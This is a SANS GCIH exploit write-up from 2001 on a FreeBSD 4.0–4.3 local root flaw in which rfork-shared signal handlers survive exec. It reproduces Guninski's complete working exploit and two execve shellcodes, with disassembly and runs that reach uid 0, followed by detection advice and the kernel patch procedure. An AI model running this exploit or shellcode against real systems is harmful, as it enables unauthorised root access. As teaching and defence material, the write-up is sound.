Use offense to inform defense.
Find flaws before the bad guys do.

FreeBSD 4.x local root vulnerability -- exec() of shared signal handler

CVE ID: none-assigned

BugTraq id 3007

Exploit Documentation for SANS

Advanced Incident Handling and Hacker Exploits (GCIH)

Ralph Durkee http://rd1.net

July 2001

Exploit Details:

Variants: none applicable at this time

Operating System: Only FreeBSD 4.0 - 4.3 are known to be vulnerable.

Protocols/Services: Shared signal handlers remain shared after an execve()

Brief Description: Since some signal handlers shared by an rfork() remain shared after an exec, this allows the user to install signal handler code to be run as root by exec-ing a root set-uid executable, installing a signal handler and then generating the signal to the child process.

Signal Handlers Description:

Unix Signal handlers are user written functions which are registered to be called in the event a specific signal or set of signals is received by the process. The signals interrupt the normal execution of code, or provide some external control of the process, such as suspension, and

termination. Signals may also provide a primitive inter-process communication or act as software event processing mechanism.

Usage of a signal handler begins with the program installing a function by providing the address to be called for a specific signal, using the traditional signal(3) or the POSIX 1003.1 sigaction(2) system call. Following the installation of a signal handler, when the specific signal is generated, the normal execution of the program is interrupted with a call to the signal handler. Depending on the code being executed, the execution may resume were interrupted after the signal handler returns.

Fork and Exec Description:

New processes are created on Unix systems via one of the fork system calls. Specifically there are three available on a FreeBSD 4.x system, fork(2), rfork(2) and vfork(2). Each of these will be briefly described starting with fork(2), refer to the man pages for additional information. The fork(2) system call creates a new process which is a copy of the called process with most all of the process resources duplicated. The new process has a new unique process Id, and a parent process ID of the original process, but has copies of original processes resources such as virtual address table, file descriptors and signal settings and handlers. The fork(2) system call is available in all Unix systems since has been around from the very beginning.

If the new process is to run a new executable program or script (rather than remain as a copy of the original) the fork() call is followed by one of the exec*() family of system calls and functions which replaces the new process with the executable object from the file specified in the exec*() call. The standard Unix exec calls execve(), execl(), execlp(), execle(), execv(), and execvp() are all very similar, allowing variations on how the arguments and environment are provided to the new process, and whether the PATH is searched. If the file specified to be exec'ed is a script or shell, with the first line containing the format "#! path_to_interpreter [arg]" then the object code for file path of the interpreter will be loaded with the exec'ed file added as an argument to the interpreter.

Of course a fork followed by an exec call is very common occurrence since it used to start up new executables. However the usage of the fork(2) system call is slightly wasteful since it duplicates some of the original processes resources, which are then discarded by the exec*() call. The vfork(2) system call can be used instead of fork() as an optimization of the fork-exec sequence. The vfork(2) does not duplicate resources unnecessarily, but rather suspends the calling process until the new (child) process has called exec*() or exited. The vfork(2) system call is a fairly common Unix call provided by most Unix operating systems (although it's not part of the POSIX standard) and was first introduced in the early days in 2.9 BSD. The third fork call provided by FreeBSD is rfork(2) which allows selected resources (such as file descriptors and signal action table) to be shared between the parent and child process rather than having them duplicated. When the resources are shared, changes in one process, will affect the other. A file descriptor closed or opened in one, will be closed or opened in the other. A signal handler installed in one, will also be installed in the other process as well if RFSIGSHARE was used in the rfork() call to indicate sharing of the signal action structure. The rfork(2) system call is a fairly recent addition and has it's origins from the Plan9 operating system. See http://plan9.bell-labs.com/plan9dist/ for information on Plan9.

Since the signal handler is specific to a process and is tied to the code located at an address within the process, it is not appropriate for the signal handler to remain installed, when new executable code is loaded into the process via one of the execve(2) system call. The blocking or ignoring behavior of signals is inherited by the new process, but the signal handlers are specifically uninstalled with the behavior set to the default behavior (either block or ignore), as described in

execve(2) system call man page. On the contrary it is appropriate for a newly forked process, which creates a new copy of the same process to retain a copy of or even share the same signal handlers of the original process. The distinction of signal handlers across calls of fork, rfork and exec's will be come clear as we examine the exploit

The rfork(2) system calls includes an option RFSIGSHARE which was introduced in FreeBSD3.1 and allowed the new child process to share the sigacts structure with the parent process. The rfork(2) system call has been available in previous BSD releases but did not include the RFSIGSHARE option for sharing the sigacts structure between processes. Linux has similar functionality provided by the clone(2) system call. The sharing of the table of signal handlers between processes is a rather unusual, but theoretically useful for very specific situations. For example, if a situation called for two tightly coupled processes which would need to have independent signal processing (hence threads would not be appropriate), yet desired to have signal settings and handlers controlled and changed by one of the processes. Of course such a situation seems rather contrived, and anyone who wishes to argue that such OS features constitute excess feature-ism and code bloat, will not receive strong disagreement from this author. Increasing the features of software often geometrically increases the testing effort and therefore tends to reduce the practical security of any software. Although the usefulness and necessity of the RFSIGSHARE option on rfork(2) can be questioned, it is not inherently a security risk. In fact the bug that is exploited is not in the rfork(2) code rather the bug is that the execve(2) system call does not correctly unshare the sigacts structure which was shared between the two process.

Description of variants:

No published variants are known at this time, but many minor variations are certainly possible.

1. Other root-set-uid programs other than login could be used.
2. Most any signals other than INT could be used, specifically, HUP, QUIT, ILL, ABRT, EMT all work ok.
3. Many variations are possible on the shell code of course.
4. POSIX compliant Sigaction(2) could be used instead of the traditional signal(3) call. Refer to the sigaction(2) man page for details.

How the exploit works:

This exploit code was written by Georgi Guninski and is available at http://www.guninski.com/vvfreebsd.html The code is reproduced below with line numbers for easy reference. First I will give a high-level overview of the steps for the exploit with line number references to Georgi Guninski's code provide in the source code section. A detailed step-by-step analysis will follow the source code.

1. Set-up the shellcode payload (lines 1-38) – The requirement is that the code must be callable as a signal handler, and yet must survive across an exec() call. The exploit cleverly places the code in an environment variable and then re-exec's so that the address of the environment variable is stable and usable as a signal handler address on the next exec.
2. Next the exploit fork's a child process with a shared signal handler table (line 42) – rfork(RFPROC|RFSIGSHARE).
3. The Child process then exec's a root set-uid executable such as /bin/login (source lines 47-52)
4. The parent process sleep's to give the child process time to exec, and then installs the

shellcode as a signal handler (Lines 53-54). Installing the signal handler affects the child process as well as the parent, due a bug in the execve system call. It is important to note that the vulnerable execve system call does reset the values in the sigact structure, which includes the handler address, but since the table is still shared, the parent is able to change the child's signal handlers after the exec has completed.

5. The parent process sends the signal to the child process (Line 56), Which processes the signal by calling the installed signal handler address which points to it's copy of the shellcode in it's environment. Since the child process (login) has an effective uid of 0, the shell code executes with root privileges.

Source code:

The exploit code below was written by Georgi Guninski and is available from **http://www.guninski.com/vvfreebsd.html** as well as from http://www.securityfocus.com/data/vulnerabilities/exploits/vvfreebsd.c Analysis follows.

```
 1 /*
 2 FreeBSD 4.3 local root exploit using shared signals.
 3 Written by Georgi Guninski http://www.guninski.com
 4 */
 5
 6 #include <stdio.h>
 7 #include <signal.h>
 8 #include <unistd.h>
 9 int vv1;
10
11 #define MYSIG SIGINT
12
13
14 //exec "/tmp/sh", shellcode gotten from the internet and modified
15 unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
16 "\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
17 "\x31\xc0\x50\x50\xb0\x17\xcd\x80"
18 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
19                   "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
20                   "\xb0\x3b\x50\xcd\x80\x90\x90\x90";
21
22 typedef (*PROG)();
23 extern char **environ;
24
25 int main(int ac,char **av)
26 {
27 int pid;
28 //(*(PROG)bsdshell)();
29 if(!(vv1=getenv("vv")))
30  {
31   setenv("vv",bsdshell,1);
32   if(!execle(av[0],"vv",NULL,environ))
33    {
34     perror("weird exec");
35     exit(1);
36    }
37  }
38
39 printf("vvfreebsd. Written by Georgi Guninski\n");
40 printf("shall jump to %x\n",vv1);
41
```

```
42 if(!(pid=rfork(RFPROC|RFSIGSHARE)))
43  {
44   printf("child=%d\n",getpid());
45 // /usr/bin/login and rlogin work for me. ping gives nonsuid shell
46 //  if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
47   if(!execl("/usr/bin/login","login",0))
48    {
49     perror("exec setuid failed");
50     exit(2);
51    };
52  }
53 sleep(2);
54 signal(MYSIG,(sig_t)vv1);
55 sleep(2);
56 kill(pid,MYSIG);
57 printf("done\n");
58 while(42);
59 }
```

The define for MYSIG specifies the signal to be used, other signal besides SIGINT work fine. Specifically SIGHUP, QUIT, ILL, ABRT, and EMT all tested successfully.

Shell Code Analysis:

The binary shell code is stored in a local variable, and placed in the environment. Since the shellcode consist of binary instructions it is specific to the OS and platform (FreeBSD x86 in this case) Exploits with binary shell code should always be disassembled and inspected or replaced with your own shell code before being run! Just as you wouldn't think of running any binary downloaded from the net, unless you were sure of the author, just because it "compiles" with gcc doesn't mean you want to run it. Disassembly is easily done in gdb with the following commands highlighted in bold. The bold # comments are not gdb output, but are added for clarity:

```
gdb
(gdb) file vvfreebsd
Reading symbols from vvfreebsd...done.
(gdb) disassemble bsdshell
Dump of assembler code for function bsdshell:
0x8049980 <bsdshell>:   nop
0x8049981 <bsdshell+1>: nop
0x8049982 <bsdshell+2>: nop
0x8049983 <bsdshell+3>: nop
0x8049984 <bsdshell+4>: nop
0x8049985 <bsdshell+5>: nop
0x8049986 <bsdshell+6>: nop
0x8049987 <bsdshell+7>: nop
0x8049988 <bsdshell+8>: xor    %eax,%eax     # zero out %eax
0x804998a <bsdshell+10>:        push   %eax
0x804998b <bsdshell+11>:        push   %eax
0x804998c <bsdshell+12>:        mov    $0xb7,%al
0x804998e <bsdshell+14>:        int    $0x80       # seteuid(0)
0x8049990 <bsdshell+16>:        xor    %eax,%eax
0x8049992 <bsdshell+18>:        push   %eax
0x8049993 <bsdshell+19>:        push   %eax
0x8049994 <bsdshell+20>:        mov    $0x17,%al
0x8049996 <bsdshell+22>:        int    $0x80    # setuid(0)
0x8049998 <bsdshell+24>:        xor    %eax,%eax
0x804999a <bsdshell+26>:        push   %eax
0x804999b <bsdshell+27>:        push   $0x68732f2f
```

```
0x80499a0 <bsdshell+32>:        push   $0x706d742f   # push "/tmp//sh"
0x80499a5 <bsdshell+37>:        mov    %esp,%ebx
0x80499a7 <bsdshell+39>:        push   %eax
0x80499a8 <bsdshell+40>:        push   %ebx
0x80499a9 <bsdshell+41>:        push   %eax
0x80499aa <bsdshell+42>:        push   %esp
0x80499ab <bsdshell+43>:        push   %ebx
0x80499ac <bsdshell+44>:        mov    $0x3b,%al
0x80499ae <bsdshell+46>:        push   %eax
0x80499af <bsdshell+47>:        int    $0x80       # execve("/tmp//sh",0,0)
0x80499b1 <bsdshell+49>:        nop
0x80499b2 <bsdshell+50>:        nop
0x80499b3 <bsdshell+51>:        nop
0x80499b4 <bsdshell+52>:        add    %al,(%eax)
0x80499b6 <bsdshell+54>:        add    %al,(%eax)
End of assembler dump.
```

The nop's (or no-ops) are needed to provide padding to avoid any alignment issues with the start of the function. Some of the first few nop instructions may be treated as data instead of the first instruction to be executed. The seteuid() is not actually needed, although harmless over-kill, since it will fail if the exec set-uid did not already make the effective-uid = 0, and is redundant otherwise. Although the setuid(0) is also not always needed, it useful as it escalates privileges from having an effective-uid = 0 (from the /bin/login set-uid bit) to having a real uid = 0. It should be obvious that the usage of /tmp/sh can easily be changed to other paths such as /bin/sh by changing lines <bsdshell+27> and <bsdshell+32>. The characters are in reverse since they are being pushed on the stack. The extra slash (/) is padding so that an even eight characters are used rather than seven. The final two "`add %al,(%eax)`" are not actually part of the shellcode; gdb is confused by improper termination and alignment of the function, which is also why the no-op's are needed. The execve() of /tmp//sh requires you to place a program or script at this path for this exploit to work. The system calls are translated from the system call ids in the "mov $0x??,%al" to their names using /usr/include/sys/syscall.h Specifically:

0xb7 = 183 = SYS_seteuid

0x17 = 23 = SYS_setuid

0x3b = 59 = SYS_execve

To test the shell code without the exploit simply wrap it in a main and call it. You could also use truss at this point to confirm your disassembly analysis. Something like:

```
#include <stdio.h>
main()
{
//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";
void (*fptr)() = (void *)bsdshell;
printf("jump to shell code: at 0x%x\n", bsdshell);
fptr();
}
```

Compile and run in truss, but not as root just to confirm its operations. The first several calls reported by truss are normal exec start-up work such as loading any shared libraries or reading configuration files. You could compare this output to a truss of a trivial hello world program if you're not familiar with the output. Also notice the write system call which is from the printf of the "jump to shell…" line.

```
$ truss ./testshellcode1
__sysctl(0xbfbffa50,0x2,0x2805b7e8,0xbfbffa4c,0x0,0x0) = 0 (0x0)
mmap(0x0,32768,0x3,0x1002,-1,0x0)        = 671465472 (0x2805c000)
geteuid()                                = 1021 (0x3f8)
getuid()                                 = 1021 (0x3f8)
....
...
jump to shell code: at 0xbfbffb1c
write(1,0x804b000,36)                    = 36 (0x24)
seteuid(0x0)                             ERR#1 'Operation not permitted'
setuid(0x0)                              ERR#1 'Operation not permitted'
execve(<missing argument>,<missing argument>,<missing
argument>)execve(0xbfbffacc,0xbfbffac0,0x0)        ERR#2 'No such file or directory'
SIGNAL 11
```

The /tmp/sh file did not exist for this initial run, hence the "No such file or directory" error was generated. Other versions of similar shellcodes are readily available, for example http://rootcore.can-host.com/~cyber-mafia/shellcode/freebsd/execve-binsh.c contains a 25 byte FreeBSD shellcode which exec's /bin/sh with credits to predator and anathema.

```
/* This is FreeBSD execve code.It is only 25 bytes long.This kind of making *
 * shell codes was published by anathema(all credits go to him). I just     *
 * rewrote it for FreeBSD                                                   *
 *                                      signed predator                     *
 *                                      linux registered user : 181116      *
 *                                      preedator(at)sendmail(dot)ru        */
char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
int main(){
 void (*s)()=(void *)sc;
 printf("len : %d\n",strlen(sc));
 s();
}
//Asm code
/***********************************
 *int main(){                      *
 *__asm__(" xorl %eax, %eax   \n"   *
 *        " pushl %eax        \n"   *
 *        " pushl $0x68732f2f \n"   *
 *        " pushl $0x6e69622f \n"   *
 *        " movl %esp,%ebx    \n"   *
 *        " pushl %eax        \n"   *
 *        " pushl %ebx        \n"   *   <<--- push %esp will work too :o)
 *        " pushl %eax        \n"   *
 *        " pushl %esp        \n"   *
 *        " pushl %ebx        \n"   *
 *        " movb $0x3b,%al    \n"   *
 *        " pushl %eax        \n"   *
 *        " int $0x80         \n"); *
 *}                                 *
```

```
**********************************/
```

This shell works fine for this exploit on x86 Freebsd 4.x as long as similar no-op padding is included. Now that we've dissected and tested the shellcode, we are ready to look at the rest of the exploit code.

C Code Analysis:

Main and Re-exec -- Lines 25-37

These first few lines of the main check the environment for the variable "vv" which normally would not be set at this point in the first execution. The shell code is loaded in the vv environment variable and the vvfreebsd program re-exec's itself. The re-exec is need so that the address of the vv environment variable will be the same for parent and child process. In general the address of environment variables is not guaranteed, however if the variable was added before the exec, and the environment is identical for both parent and child you can imagine the implementation will provide the same address.

Banner and rfork -- Lines 38-42

Now with the shellcode in place in the environment, the program banner is printed and the rfork system call with the RFSIGSHARE option to create a new child process, which is a copy of the current process and with both processes sharing the same sigacts structure. The sigacts contains the signal settings as well as the address of of the signal handlers. The child process receives a 0 return value from rfork, and hence executes the code at lines 43-51 within the **if** statement.

Child process -- Lines 43-51

The child process then announces it's process id, and then performs an exec of /usr/bin/login. As the comment states other root-set-uid executables such as rlogin may be possible here. Of course usage of rlogin and telnet should be disabled and replaced with openssh or ssh anyway. The /usr/bin/login executable is especially suitable as it waits for input, and provides ample opportunity to send it a signal. The exec call, as previously described, replaces all of the code of the vvfreebsd, however since it inherits a copy of the environment the shell code is still available. The execl() does reset the values of the sigacts structure as it should, however the sigacts structure is still left shared between the parent and child process, which is the kernel bug being exploited here. With the exec of login complted, the child process will now wait for a user login name, as it should.

Parent process – Lines 53-59

Next the parent process waits 2 seconds, to help ensure the child's exec has completed. And then installs the address of vv in the environment, which contains the bsdshell as a signal handler. It is significant that this is done after the child has exec'd the login process, since the exec does clear the values in the sigacts structure, but fails to first allocate a separate signal structure for the exec'd process. Next, the parent vvfreebsd process sends the signal to the child login process. At this point the parent has completed its work, and goes into a busy loop rather than exiting. Why doesn't the parent exit? My own testing with the parent waiting and exiting worked fine. However, there is of course a good deal of clean-up work and accounting that goes on when a process exits, so there are common reasons for other exploits not wanting an exit to get in the way. In this case, the exiting of the parent could theoretically interfere with the child's shared signal table. Without

the exit() call you will have to kill the process. If you send an interrupt and SIGINT was used for the signal handler you are likely to see a segmentation violation, but then this isn't product quality code, it's an exploit.

Child process -- bsdshell

On receiving the signal, the login process will call the installed signal hander, which is the bsdshell code which will set euid=0 and uid = 0, and then exec the /tmp/sh, allowing any user to execute code or commands with root access.

How to use the exploit:

The exploit code written by Georgi Guninski requires you to provide a /tmp/sh. Most anything could be used, to be realistic it should be owned by a normal user, (not root) and have normal read-execute permission (not set-uid or set-gid). For my own testing I used the following script and program that report the effective and real user id's, which is enough to confirm that the exploit was successful.

File showid.sh

```
#!/bin/sh
echo "This is the /tmp/sh script"
id
echo pid = $$
```

To test the with a /tmp/sh as an executable rather than a script, a simple program like the one below which reports the user id's will work fine.

File showid.c

```
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
main()
{
        printf("uid = %d, euid = %d\n",getuid(),geteuid());
}
```

Copy the showid.sh into /tmp/sh, compile vvfreebsd and run. Typed commands are in bold font

```
$ cp showid.sh /tmp/sh
$ gcc vvfreebsd.c -o vvfreebsd && ./vvfreebsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=69793
login: This is the /tmp/sh script
done
uid=0(root) gid=1021(ralph) groups=1021(ralph), 0(wheel)
pid = 69793
```

At this point the exploit was successful, notice the uid=0 in the output, however the parent process is still running hence no shell prompt is given. You could kill this from another shell, or if you type your interrupt character (often Ctrl-C) the parent will segmentation fault. The SEGV is not too surprising, given the program was not written or expected to have a graceful exit, after the exec of /bin/sh by the child process for the running of the script, the shared signal handler address of the parent is likely to be invalid. Having the parent process exit rather than busy loop, worked well on the test system. Georgi Guninski's web page specifically states, “Examine the source and don't send me mail if you get SEGV”

```
^C Segmentation fault (core dumped)
$
```

Running the exploit again with the executable showid produces similar results but without the SEGV when the parent receives the SIGINT signal.

```
$ gcc showid.c -o showid
$ cp showid /tmp/sh
$ ./vvfreebsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=69841
login: uid = 0, euid = 0
done
^C
$
```

Signature of the attack:

Since this is a local exploit we will be looking at system usage and logs rather than network traffic to detect the exploit. Of course patching the kernel as described in the next section is the best and only sure means of preventing the exploit. Your best defense is for systems to have a file based intrusion detection system such tripwire installed before being made available to users, Tripwire will detect and report changes to files based on cryptographic checksums such a md5. There are also some subtle signs to look for in detecting if a rootkit has been installed. As a fall back you could install a fresh system with identical software and compare checksums for key system files. Rather than get side tracked into a major coverage of an intrusion detection topic and rootkit detection there are a few indicators specific to this exploit that may be helpful, but are not reliable.

If the exploit is run unmodified, it does burn a lot of cpu due to the busy loop. If it’s left running the system will degrade and the process will be very noticeable to an administrator monitoring the system performance. Even with runs which are terminated quickly (in terms of human response time) the program will report high in system activity report ordered by cpu time such as the one below. All of the vv* were runs of the vvfreebsd exploit.

```
$ sa –b
  186247  1841789.41re      279.53cp        6avio      515k
      25      138.22re      136.32cp        1avio        0k   vv6
       8       36.11re       35.55cp        2avio        1k   vvfreebsd3
      21       43.76re       42.59cp        1avio        1k   vv2
      15       39.61re       15.70cp        2avio        3k   vvfreebsd
       1        0.63re        0.56cp        3avio        5k   vvfreebsd4
       5        1.37re        1.04cp        2avio       15k   vv5
       6        1.80re        1.20cp        2avio        8k   vv4
       7       15.44re        1.26cp    10860avio      210k   tripwire
```

```
      2        3.59re         0.07cp       194avio       272k   wget
     20        0.89re         0.56cp        76avio       577k   httpd
    689      261.23re         9.40cp      1368avio       199k   find
    103    90890.22re         0.87cp         1avio       917k   sshd*
     23    30264.11re         0.15cp      1811avio       784k   syslogd*
```

The top line is the total. Of course there are also per user total and detailed reports available with sa -m and sa –u respectively. Of course the sa report is only available if the process accounting was enabled with accto(8) or typically by editing the line in the /etc/rc.conf file.

```
accounting_enable="YES" # Turn on process accounting (or NO).
```

Searching user files and user history files may be useful if your organizations privacy policy allows it, but keep in mind that the user may have compiled the source on another computer or deleted it, and of course the name of the executable is likely to be changed. This doesn't leave much to look for other than unexpected binary files, or trying to search for some typical shellcode patterns in binary files. None of these are likely to be sufficient evidence by itself. The vvfreebsd exploit can be run without a segmentation violation, but of course any segmentation violations that do occur will be logged in the /var/log/messages unless the /etc/syslog.conf configuration for kernel messages is set too high. The default syslog for kernel messages is to include debug or higher level messages.

```
*.notice;kern.debug;lpr.info;mail.crit;news.err /var/log/messages
```

Of course if a user has gained root access, the log files are not reliable. Having systems log to a centralized syslog facility, makes the administrators job that much easier, and if the logging system is secure, it will make it harder for any user abusing an exploit to cover their tracks. The previous syslog.conf line could be duplicated to another system with the simple addition of the line:

```
*.notice;kern.debug;lpr.info;mail.crit;news.err @syslogsystem.domain.com
```

The following log messages were generated with runs of vvfreebsd that did produce a segmentation violation (SEGV). Any failures of system executables should be checked into, especially if they are set-uid executables. Keep in mind that the exploit can be run without a SEGV, and even if it does fail, the local records of the log messages from the segmentation violation can be easily covered. Of course any core file is also useful evidence if it still remains it.

```
Jul 12 12:28:31 net /kernel: pid 38596 (login), uid 0: exited on signal 11
Jul 12 12:43:58 net /kernel: pid 49780 (vvfreebsd), uid 1039: exited on signal 11 (core
dumped)
```

With current root kits, which replace system commands, kernel modules and system libraries, it is not wise to trust the output of any of the typical administration commands (such as ps, ls, who, netstat) on the system in question.

The real bottom line is that if you don't have confidence in the systems integrity by verifying that the system has not been tampered with using tools like tripwire or by checksum comparison to a trusted system using trusted tools, then the system should be re-installed or replaced.

How to protect against it:

The FreeBSD development group has issued a kernel patch for the vulnerability.

To fix vulnerable FreeBSD 4.1, 4.2, and 4.3 base systems, you may do either one of the following:

1. Upgrade your vulnerable FreeBSD system to 4.3-STABLE.
2. To patch your present system: download the relevant patch from the below location, and execute the following commands as root:

This patch has been verified to apply to FreeBSD 4.1, 4.2, and 4.3 only. It may or may not apply to older releases. The following example demonstrates the installation of the kernel patch. First we download the patch and the signature file.

```
# cd ~download
# fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
```

The contents of the kernel patch is short and sweet. Only the kern_exec file is affected, As discussed earlier the exec needs to allocate a new process signal structure rather than allowing the two processes to share one after the exec.

```
# cat signal-4.3.patch
Index: kern_exec.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/kern_exec.c,v
retrieving revision 1.107.2.7
diff -u -r1.107.2.7 kern_exec.c
--- kern_exec.c 2001/06/16 23:39:08     1.107.2.7
+++ kern_exec.c 2001/07/10 00:43:48
@@ -29,7 +29,6 @@
 #include <sys/param.h>
 #include <sys/systm.h>
 #include <sys/sysproto.h>
-#include <sys/signalvar.h>
 #include <sys/kernel.h>
 #include <sys/mount.h>
#include <sys/filedesc.h>
@@ -39,9 +38,10 @@
 #include <sys/imgact.h>
 #include <sys/imgact_elf.h>
 #include <sys/wait.h>
+#include <sys/malloc.h>
 #include <sys/proc.h>
+#include <sys/signalvar.h>
 #include <sys/pioctl.h>
-#include <sys/malloc.h>
 #include <sys/namei.h>
 #include <sys/sysent.h>
 #include <sys/shm.h>
@@ -59,6 +59,7 @@
 #include <vm/vm_object.h>
 #include <vm/vm_pager.h>
+#include <sys/user.h>
 #include <machine/reg.h>
MALLOC_DEFINE(M_PARGS, "proc-args", "Process arguments");
@@ -244,6 +245,28 @@
                tmp = fdcopy(p);
                fdfree(p);
                p->p_fd = tmp;
+       }
+
+       /*
```

```
+         * For security and other reasons, signal handlers cannot
+         * be shared after an exec. The new proces gets a copy of the old
+         * handlers. In execsigs(), the new process wll have its signals
+         * reset.
+         */
+        if (p->p_procsig->ps_refcnt > 1) {
+                struct procsig *newprocsig;
+
+                MALLOC(newprocsig, struct procsig *, sizeof(struct procsig),
+                       M_SUBPROC, M_WAITOK);
+                bcopy(p->p_procsig, newprocsig, sizeof(*newprocsig));
+                p->p_procsig->ps_refcnt--;
+                p->p_procsig = newprocsig;
+                p->p_procsig->ps_refcnt = 1;
+                if (p->p_sigacts == &p->p_addr->u_sigacts)
+                        panic("shared procsig but private sigacts?\n");
+
+                p->p_addr->u_sigacts = *p->p_sigacts;
+                p->p_sigacts = &p->p_addr->u_sigacts;
         }
         /* Stop profiling */
```

Now you should verify the detached PGP signature in signal-4.3.patch.asc using your PGP utility. Unfortunately verification of PGP signatures is not as quick and simple as it should be in most cases. You will need a compatiable PGP utility, I recommend GnuPG (GNU Privacy guard) version 1.06 if you're not already using one, as it is the most recent as of this writing, and is the same utility used to sign the kernel patch by the "FreeBSD Security Officer <security-officer@freebsd.org>" It is recommended that you install gpg on a local system if possible,

1. because there is difficulties with generating sufficient entropy on a remote system since there is no local input, and
2. of course you will want your own private keys to be kept on your most secure system, preferably not directly connected to the internet. The Gnupg utility can be downloaded from www.FreeBSD.org as a package ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/gnupg-1.0.6_1.tgz or as source from ftp://ftp.gnupg.org/pub/gcrypt/gnupg/gnupg-1.0.6.tar.gz The man pages are of course helpful, as well as the on-line handbook available at http://www.gnupg.org/gph/en/manual.html. You will need to generate your own private/public keys, then import and sign the public key of the FreeBSD security officer. Which is available, strangely enough, in the last appendix of the handbook. http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/pgpkeys.html

```
$ gpg --verify signal-4.3.patch.asc signal-4.3.patch
gpg: Warning: using insecure memory!
gpg: Signature made Tue Jul 10 09:33:14 2001 EDT using RSA key ID 73D288A5
gpg: Good signature from "FreeBSD Security Officer <security-officer@freebsd.org>"
```

The warning about insecure memory is due to the gpg executable not being set-root-uid on this system and not being able to lock the memory used for the key from being paged. Certainly not paging the secrets to disk is a good thing, but having yet another set-root-uid program is not to be taken lightly either. Whether you feel more secure with the command set-root-uid or not, depends a lot on the nature of the system and its usage by others. Check the faq page http://www.gnupg.org/faq.html#q6.1 for details.

Now let's get back to installing the patch. Please! Do read the FreeBSD handbook chapter 8 http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig.html if you haven't built FreeBSD kernels before. Now working as root:

```
# cd /usr/src/sys/kern
# cp -p kern_exec.c kern_exec.c.orig        # optional
# patch -p < ~download/signal-4.3.patch
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|Index: kern_exec.c
|===================================================================
|RCS file: /home/ncvs/src/sys/kern/kern_exec.c,v
|retrieving revision 1.107.2.7
|diff -u -r1.107.2.7 kern_exec.c
|--- kern_exec.c        2001/06/16 23:39:08     1.107.2.7
|+++ kern_exec.c        2001/07/10 00:43:48
--------------------------
Patching file kern_exec.c using Plan A...
Hunk #1 succeeded at 29.
Hunk #2 succeeded at 38.
Hunk #3 succeeded at 59.
Hunk #4 succeeded at 245.
Done
```

The kern_exec.c file in the local directory has been successfully patched. If you wish to review the changes made …

```
# diff kern_exec.c kern_exec.c.orig
31a32
> #include <sys/signalvar.h>
41d41
< #include <sys/malloc.h>
43d42
< #include <sys/signalvar.h>
44a44
> #include <sys/malloc.h>
62d61
< #include <sys/user.h>
248,269d246
<       }
<
<       /*
<        * For security and other reasons, signal handlers cannot
<        * be shared after an exec. The new proces gets a copy of the old
<        * handlers. In execsigs(), the new process wll have its signals
<        * reset.
<        */
<       if (p->p_procsig->ps_refcnt > 1) {
<               struct procsig *newprocsig;
<
<               MALLOC(newprocsig, struct procsig *, sizeof(struct procsig),
<                      M_SUBPROC, M_WAITOK);
<               bcopy(p->p_procsig, newprocsig, sizeof(*newprocsig));
<               p->p_procsig->ps_refcnt--;
<               p->p_procsig = newprocsig;
<               p->p_procsig->ps_refcnt = 1;
```

```
<               if (p->p_sigacts == &p->p_addr->u_sigacts)
<                       panic("shared procsig but private sigacts?\n");
<
<               p->p_addr->u_sigacts = *p->p_sigacts;
<               p->p_sigacts = &p->p_addr->u_sigacts;
```

Change directory to your kernel conf directory for your platform, The i386/conf directory is used by all Intel x86's and clones. Details on this process are also available in the FreeBSD handbook http://www.freebsd.org/handbook/kernelconfig.html I recommend that you use the same kernel configuration as used for your current kernel, rather than change the kernel configuration at the same time to avoid any possible issues that can be created from incorrect configuration of the kernel. Custom configuration of the kernel is definitely a must for security, it reduces resources used, and eliminates unused drivers and unused or insecure services from the kernel, just don't change too many things between tests. In this example the configuration file is NRD2. If your kernel securelevel is 1 or greater, you will need to go single user mode or reboot to an insecure level in order to allow installation of the new kernel. See the FreeBSD man page init(8) for details.

```
# cd /usr/src/sys/i386/conf
# /usr/sbin/config NRD2
Don't forget to do a ``make depend''
Kernel build directory is ../../compile/NRD2
# cd ../../compile/NRD2
# make depend
rm -f .newdep
mkdep -a -f .newdep -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -
Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi  -
nostdinc -I- -I. -I../.. -I/usr/include  -D_KERNEL -include opt_global.h -elf  -
mpreferred-stack-boundary=2 device_if.c bus_if.c .
(output truncated)
# make
cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-
prototypes -Wpointer-ari
(output truncated)
# make install
(output truncated)
# # ls -al /kernel*
-r-xr-xr-x  1 root  wheel  1524008 Jul 31 17:34 /kernel
-r-xr-xr-x  1 root  wheel  3258128 Nov 20  2000 /kernel.GENERIC
-r-xr-xr-x  1 root  wheel  1523656 May  9 09:44 /kernel.old
```

The /kernel.old is the currently running kernel which is retained in case you need or want to revert to it. /kernel.GENERIC is the fully loaded (or bloated) kernel which comes with the default FreeBSD install. These alternate kernels can be booted from the console boot prompt if the new kernel doesn't boot.

```
# reboot
```

re-login, and check the log files for an new log messages or other anomalies. Now re-run the exploit (not as root, remember) to verify the patch was successful.

```
